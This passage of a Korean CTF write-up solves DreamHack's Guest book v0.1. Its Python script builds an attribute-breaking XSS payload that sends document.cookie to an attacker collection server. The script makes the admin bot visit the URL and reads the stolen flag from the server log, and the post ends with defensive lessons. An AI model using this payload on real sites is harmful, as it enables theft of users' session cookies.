# λ Œλ” κ²°κ³Ό: <a href='x' onfocus='location=`<COLLECT>?c=${document.cookie}`' autofocus=''>x</a>
#                    ^ href λ₯Ό μ—¬κΈ°μ„œ λ‹«κ³  ──────────^ μƒˆ 속성을 이어 뢙인닀
JS      = "location=`" + COLLECT + "?c=${document.cookie}`"
PAYLOAD = "[x](x' onfocus='" + JS + "' autofocus=')"
assert ")" not in PAYLOAD[:-1], "URL 그룹에 ')' κ°€ 있으면 μ •κ·œμ‹μ΄ κ±°κΈ°μ„œ λŠκΈ΄λ‹€"
 
# ── 1. λ°˜μ‚¬ μ§€μ μ—μ„œ νƒœκ·Έκ°€ μ‹€μ œλ‘œ κΉ¨μ§€λŠ”μ§€ λ¨Όμ € λ³Έλ‹€ ───────────────────────
html = requests.get(f"{TARGET}/GuestBook.php", params={"content": PAYLOAD}, timeout=15).text
rendered = html.split("<pre>")[1].split("</pre>")[0] if "<pre>" in html else "(λ°˜μ‚¬ μ•ˆ 됨)"
print("[1] λ Œλ”λœ HTML :", rendered)
if "onfocus=" not in rendered:
    sys.exit("[!] 속성 νƒˆμΆœ μ‹€νŒ¨ β€” μ„œλ²„ PHP κ°€ 8.1+ 라 ν™‘λ”°μ˜΄ν‘œκ°€ μ΄μŠ€μΌ€μ΄ν”„λμ„ 수 μžˆλ‹€")
 
# ── 2. κ΄€λ¦¬μž λ΄‡μ—κ²Œ κ·Έ URL 을 μ—΄κ²Œ ν•œλ‹€ ───────────────────────────────────
# 봇은 http://127.0.0.1/<path> λ₯Ό μ—°λ‹€. path μ•ˆμ— λ“€μ–΄κ°ˆ 쿼리값은 미리 μΈμ½”λ”©ν•œλ‹€.
path = "GuestBook.php?content=" + urllib.parse.quote(PAYLOAD, safe="")
rp = requests.post(f"{TARGET}/Report.php", data={"path": path}, timeout=30)
print("[2] Report 전솑  :", rp.status_code, "path=" + path[:60] + "...")
 
# ── 3. μˆ˜μ§‘ μ„œλ²„ λ‘œκ·Έμ—μ„œ flag κ°€ λ„μ°©ν•˜κΈ°λ₯Ό κΈ°λ‹€λ¦°λ‹€ ──────────────────────
# VM 을 막 λ§Œλ“  μ§ν›„μ—λŠ” 리포트 μ›Œμ»€κ°€ 아직 μ•ˆ λ– μ„œ 첫 ν•œ 번이 μ‘°μš©ν•  수 μžˆλ‹€.
# κ·Έλž˜μ„œ 30μ΄ˆλ§ˆλ‹€ λ‹€μ‹œ 보내며 μ΅œλŒ€ 4λΆ„ κΈ°λ‹€λ¦°λ‹€.
deadline = time.time() + 240
seen = None
while time.time() < deadline:
    try:
        with open(LOG, errors="ignore") as f:
            m = re.findall(r'GET ' + re.escape(MARK) + r'\?c=[^ "]*(DH\{[^}]+\})', f.read())
        if m:
            seen = m[-1]
            break
    except OSError as e:
        sys.exit(f"[!] μˆ˜μ§‘ 둜그λ₯Ό λͺ» μ½λŠ”λ‹€({e}). μ„œλ²„ 둜그λ₯Ό 직접 ν™•μΈν•˜λΌ: {MARK}?c=...")
    time.sleep(5)
    if int(time.time()) % 30 < 5:
        requests.post(f"{TARGET}/Report.php", data={"path": path}, timeout=30)
 
print("[3] FLAG :", seen or "(μ‹œκ°„ 초과 β€” μˆ˜μ§‘ μ„œλ²„ 둜그λ₯Ό 직접 ν™•μΈν•˜λΌ)")

solve.py μ‹€ν–‰ β€” λ Œλ”λœ HTML 확인, Report 전솑, μˆ˜μ§‘ λ‘œκ·Έμ—μ„œ ν”Œλž˜κ·Έ νšŒμˆ˜κΉŒμ§€ μ°¨λ‘€λ‘œ μ°ν˜€ λ‚˜μ˜¨λ‹€
solve.py μ‹€ν–‰ β€” λ Œλ”λœ HTML 확인, Report 전솑, μˆ˜μ§‘ λ‘œκ·Έμ—μ„œ ν”Œλž˜κ·Έ νšŒμˆ˜κΉŒμ§€ μ°¨λ‘€λ‘œ μ°ν˜€ λ‚˜μ˜¨λ‹€

μ„Έ 쀄이면 λλ‚œλ‹€. λ°˜μ‚¬ μ§€μ μ—μ„œ 속성 νƒˆμΆœμ΄ λλŠ”μ§€ ν™•μΈν•˜κ³ , Report λ₯Ό 보내고, μˆ˜μ§‘ λ‘œκ·Έμ— ν”Œλž˜κ·Έκ°€ 뜰 λ•ŒκΉŒμ§€ κΈ°λ‹€λ¦°λ‹€.

μˆ˜μ§‘ μ„œλ²„ μͺ½ 원본 λ‘œκ·Έλ„ 확인해 λ‘”λ‹€.

ssh kali 'grep -oE "\[[^]]+\] .GET /gb41.c=[^\"]*. referer=[^ ]* ua=.*" ~/atk_gb41/access.log | tail -2'

μˆ˜μ§‘ μ„œλ²„ 둜그 원문. referer κ°€ 127.0.0.1 이고 UA κ°€ HeadlessChrome 으둜 μ°ν˜€ μžˆλ‹€.
μˆ˜μ§‘ μ„œλ²„ 둜그 원문. referer κ°€ 127.0.0.1 이고 UA κ°€ HeadlessChrome 으둜 μ°ν˜€ μžˆλ‹€.

μ—¬κΈ°κ°€ 이 ν’€μ΄μ—μ„œ 제일 만쑱슀러운 ν•œ 쀄이닀.

referer κ°€ http://127.0.0.1/ λ‹€. λ‚΄ λΈŒλΌμš°μ €κ°€ μ•„λ‹ˆλΌ 문제 μ„œλ²„ μ•ˆμ—μ„œ 돌던 무언가가 λ³΄λƒˆλ‹€λŠ” λœ»μ΄λ‹€. λΈŒλΌμš°μ € 식별 λ¬Έμžμ—΄μ€ HeadlessChrome/150. κ΄€λ¦¬μž 봇이 λ§žλ‹€.

κ·Έ 봇이 자기 μΏ ν‚€λ₯Ό μΏΌλ¦¬μŠ€νŠΈλ§μ— λ‹΄μ•„ 슀슀둜 가져닀쀬닀.

DH{26763025e32e6b24fedfc3206054d6a7}


πŸ“ κ²°λ‘ 

μ΄μŠ€μΌ€μ΄ν”„λŠ” 좜λ ₯ 직전에, λ”± ν•œ 번

addLink 의 두 쀄은 μˆœμ„œλ§Œ 바꿔도 상당 λΆ€λΆ„ λ§‰νžŒλ‹€. 링크λ₯Ό λ¨Όμ € νŒŒμ‹±ν•΄ URL 을 μΆ”μΆœν•˜κ³ , κ·Έ URL 을 htmlspecialchars($url, ENT_QUOTES) 둜 감싼 λ‹€μŒ νƒœκ·Έλ₯Ό μ‘°λ¦½ν–ˆλ‹€λ©΄ ν™‘λ”°μ˜΄ν‘œλŠ” μ• μ΄ˆμ— 속성 λ°–μœΌλ‘œ λͺ» λ‚˜μ˜¨λ‹€.

μ§€κΈˆ μ½”λ“œλŠ” μ΄μŠ€μΌ€μ΄ν”„λ₯Ό "μž…λ ₯ ν•„ν„°"처럼 μ•žμ— μ„Έμ›Œ 두고, μ •μž‘ μœ„ν—˜ν•œ λ¬Έμžμ—΄ 쑰립을 κ·Έ λ’€μ—μ„œ ν•œλ‹€. μ΄μŠ€μΌ€μ΄ν”„ν•œ κ°’κ³Ό 쑰립해 λ„£λŠ” 값은 λ‹€λ₯Έ 값이닀.

라이브러리 기본값은 버전에 λ¬Άμ—¬ μžˆλ‹€

같은 htmlentities($s) κ°€ PHP 7.4 μ—μ„œλŠ” 뚫리고 8.4 μ—μ„œλŠ” λ§‰νžŒλ‹€. μ½”λ“œλ₯Ό ν•œ 쀄도 μ•ˆ κ³ μ³€λŠ”λ° λŸ°νƒ€μž„μ„ μ˜¬λ¦¬λŠ” κ²ƒλ§ŒμœΌλ‘œ κ²°κ³Όκ°€ λ’€μ§‘νžŒλ‹€.

λ°˜λŒ€λ‘œ λ§ν•˜λ©΄, 기본값에 κΈ°λŒ€μ–΄ μ“΄ μ½”λ“œλŠ” μ–΄λŠ λ²„μ „μ—μ„œ κ²€μ¦ν–ˆλŠ”μ§€κ°€ κ³§ λ³΄μ•ˆ 경계닀. ν”Œλž˜κ·Έλ₯Ό λͺ…μ‹œμ μœΌλ‘œ λ„˜κΈ°λŠ” μŠ΅κ΄€μ΄ κ·Έλž˜μ„œ ν•„μš”ν•˜λ‹€. ENT_QUOTES λ₯Ό μ†μœΌλ‘œ μ μ—ˆλ‹€λ©΄ 이 λ¬Έμ œλŠ” μ„±λ¦½ν•˜μ§€ μ•Šμ•˜λ‹€.

ν•„ν„°λ₯Ό λ³Ό λ•ŒλŠ” κ·Έ 뒀에 μ˜€λŠ” μ‘°λ¦½κΉŒμ§€ λ³Έλ‹€

htmlentities 만 보면 μ•ˆμ „ν•΄ 보인닀. μ‹€μ œλ‘œ 꺾쇠도 μŒλ”°μ˜΄ν‘œλ„ λ‹€ μ£½λŠ”λ‹€. λ¬Έμ œλŠ” κ·Έ λ‹€μŒ μ€„μ΄μ—ˆλ‹€. ν•„ν„° 자체의 강도보닀 필터와 좜λ ₯ 사이에 무엇이 λΌμ–΄λ“œλŠ”μ§€κ°€ 더 자주 취약점이 λœλ‹€.

쿠킀에 담을 κ°’κ³Ό JS μ—μ„œ μ½ν˜€λ„ λ˜λŠ” 값은 λ‹€λ₯΄λ‹€

이 문제의 ν”Œλž˜κ·ΈλŠ” document.cookie 둜 κ·Έλƒ₯ μ½ν˜”λ‹€. HttpOnly 만 λΆ™μ–΄ μžˆμ—ˆμ–΄λ„ 같은 XSS 둜 μΏ ν‚€λ₯Ό λͺ» κ°€μ Έκ°„λ‹€. XSS κ°€ 뚫린 뒀에도 ν”Όν•΄λ₯Ό μ€„μ΄λŠ” 건 이런 μͺ½μ΄λ‹€.

λ§‰ν˜”λ‹€κ³  κ²°λ‘  λ‚΄κΈ° 전에, μ‹€ν—˜μ΄ μ˜λ„λŒ€λ‘œ λ„λŠ”μ§€λΆ€ν„° λ³Έλ‹€

첫 λ¦¬ν¬νŠΈκ°€ μ‘°μš©ν–ˆμ„ λ•Œ λ‚˜λŠ” κ³§μž₯ νŽ˜μ΄λ‘œλ“œλ₯Ό μ˜μ‹¬ν–ˆλ‹€. 그리고 비ꡐ μ‹€ν—˜μ„ μ§œλ©΄μ„œ λ”°μ˜΄ν‘œλ₯Ό ν•˜λ‚˜ 잘λͺ» μ„ΈλŠ” λ°”λžŒμ—, ν•Έλ“€λŸ¬κ°€ μ•„μ˜ˆ μ—†λŠ” νƒœκ·Έλ₯Ό 던져 놓고 "이 νŠΈλ¦¬κ±°λŠ” μ•ˆ λ¨ΉλŠ”λ‹€"κ³  μ½μ—ˆλ‹€.

λ Œλ” κ²°κ³Όλ₯Ό 좜λ ₯ν•˜λ„λ‘ 짜 놓고도 눈으둜 ν™•μΈν•˜μ§€ μ•Šμ€ 게 원인이닀. κ²°κ΅­ 처음 νŽ˜μ΄λ‘œλ“œκ°€ λ§žμ•˜κ³  μ„œλ²„κ°€ μ€€λΉ„λ˜κΈ° μ „μ΄μ—ˆμ„ 뿐이닀.

이 글이 도움이 λλ‚˜μš”?

Comments

λŒ“κΈ€

0개

λŒ“κΈ€μ„ 남기렀면 둜그인이 ν•„μš”ν•΄μš”. (넀이버 Β· ꡬ글 계정)

λŒ“κΈ€ λΆˆλŸ¬μ˜€λŠ” 쀑…

Related

κ΄€λ ¨ κΈ€

3개
[πŸ₯‡ Gold 1] ν—ˆμš©λœ 속성 μ„Έ 개둜 window.CONFIG λ₯Ό λ§Œλ“€μ–΄ λ‚Έλ‹€ β€” DreamHack Guest book v0.2 풀이
blog

[πŸ₯‡ Gold 1] ν—ˆμš©λœ 속성 μ„Έ 개둜 window.CONFIG λ₯Ό λ§Œλ“€μ–΄ λ‚Έλ‹€ β€” DreamHack Guest book v0.2 풀이

htmlentities λ’€μ—μ„œ νƒœκ·Έλ₯Ό μž¬μ‘°λ¦½ν•˜λ˜ v0.1 의 λ²„κ·ΈλŠ” κ·ΈλŒ€λ‘œ 두고, DOMDocument ν™”μ΄νŠΈλ¦¬μŠ€νŠΈλ§Œ 덧뢙인 λ°©λͺ…둝. 남은 것은 a νƒœκ·Έμ˜ idΒ·nameΒ·href 뿐인데 νŽ˜μ΄μ§€ ν•˜λ‹¨μ— location.href = window.CONFIG.main 이 μžˆμ—ˆλ‹€. DOM Clobbering 으둜 κ·Έ 전역을 λ§Œλ“€μ–΄ λ‚΄κ³ , 이λ₯Ό λ§‰μœΌλ € κ±Έμ–΄ λ‘” config.js 의 Object.freeze λŠ” 경둜λ₯Ό ν•œ μΉΈ λ―ΈλŠ” RPO 둜 κ±·μ–΄λƒˆλ‹€.
#dreamhack#ctf#web+5
2026-08-05#dreamhack +5
[πŸ₯‰ Bronze 4] CSPλ₯Ό λš«μ§€ μ•Šκ³ , 좜λ ₯을 λ„˜μ³ λ¬΄λ„ˆλœ¨λ¦¬λ‹€ β€” DreamHack Broken Buffalo Wings 풀이
blog

[πŸ₯‰ Bronze 4] CSPλ₯Ό λš«μ§€ μ•Šκ³ , 좜λ ₯을 λ„˜μ³ λ¬΄λ„ˆλœ¨λ¦¬λ‹€ β€” DreamHack Broken Buffalo Wings 풀이

반영 XSS에 CSPκ°€ κ±Έλ € μžˆμ§€λ§Œ, CSPλ₯Ό μ„€μ •ν•˜λŠ” header()κ°€ 본문을 echoν•œ "λ’€"에 μžˆλ‹€. μž¬κ·€ str_replaceκ°€ λ°˜λ³΅λ§ˆλ‹€ 좜λ ₯을 λ±‰λŠ” κ±Έ μ΄μš©ν•΄ PHP output_buffering을 λ„˜κΈ°λ©΄, 헀더가 λ¨Όμ € λ‚˜κ°€λ²„λ € CSP header()κ°€ μ‹€νŒ¨ν•œλ‹€. CSPκ°€ 사라진 νŽ˜μ΄μ§€μ—μ„œ XSS둜 μΏ ν‚€λ₯Ό μœ μΆœν–ˆλ‹€.
#dreamhack#ctf#web+5
2026-07-13#dreamhack +5
[πŸ₯‰ Bronze 4] PHP μ •κ·œμ‹ 3κ²Ή 뚫기 β€” preg_replace κ²ΉμΉ¨Β·μ•ŒνŒŒλ²³ μ—†λŠ” λΉ„λ²ˆΒ·flag ν•„ν„° 우회 RCE β€” DreamHack phpreg 풀이
blog

[πŸ₯‰ Bronze 4] PHP μ •κ·œμ‹ 3κ²Ή 뚫기 β€” preg_replace κ²ΉμΉ¨Β·μ•ŒνŒŒλ²³ μ—†λŠ” λΉ„λ²ˆΒ·flag ν•„ν„° 우회 RCE β€” DreamHack phpreg 풀이

PHP의 preg_replaceΒ·preg_match둜 λ§Œλ“  κ΄€λ¬Έ μ„Έ 개λ₯Ό μ°¨λ‘€λ‘œ λš«λŠ” λ¬Έμ œλ‹€. λ‹‰λ„€μž„μ€ 'nyang'을 겹치게 λΌμ›Œ ν•œ 번만 μ§€μ›Œμ§€κ²Œ λ§Œλ“€κ³ , λΉ„λ°€λ²ˆν˜ΈλŠ” μ•ŒνŒŒλ²³ 없이 μΉ˜ν™˜ νŒ¨ν„΄μ„ λ§žμΆ”κ³ , λ§ˆμ§€λ§‰ cmdλŠ” 'flag' ν•„ν„°λ₯Ό μ™€μΌλ“œμΉ΄λ“œλ‘œ μš°νšŒν•΄ RCE둜 flag.txtλ₯Ό μ½μ—ˆλ‹€.
#dreamhack#ctf#web+5
2026-06-22#dreamhack +5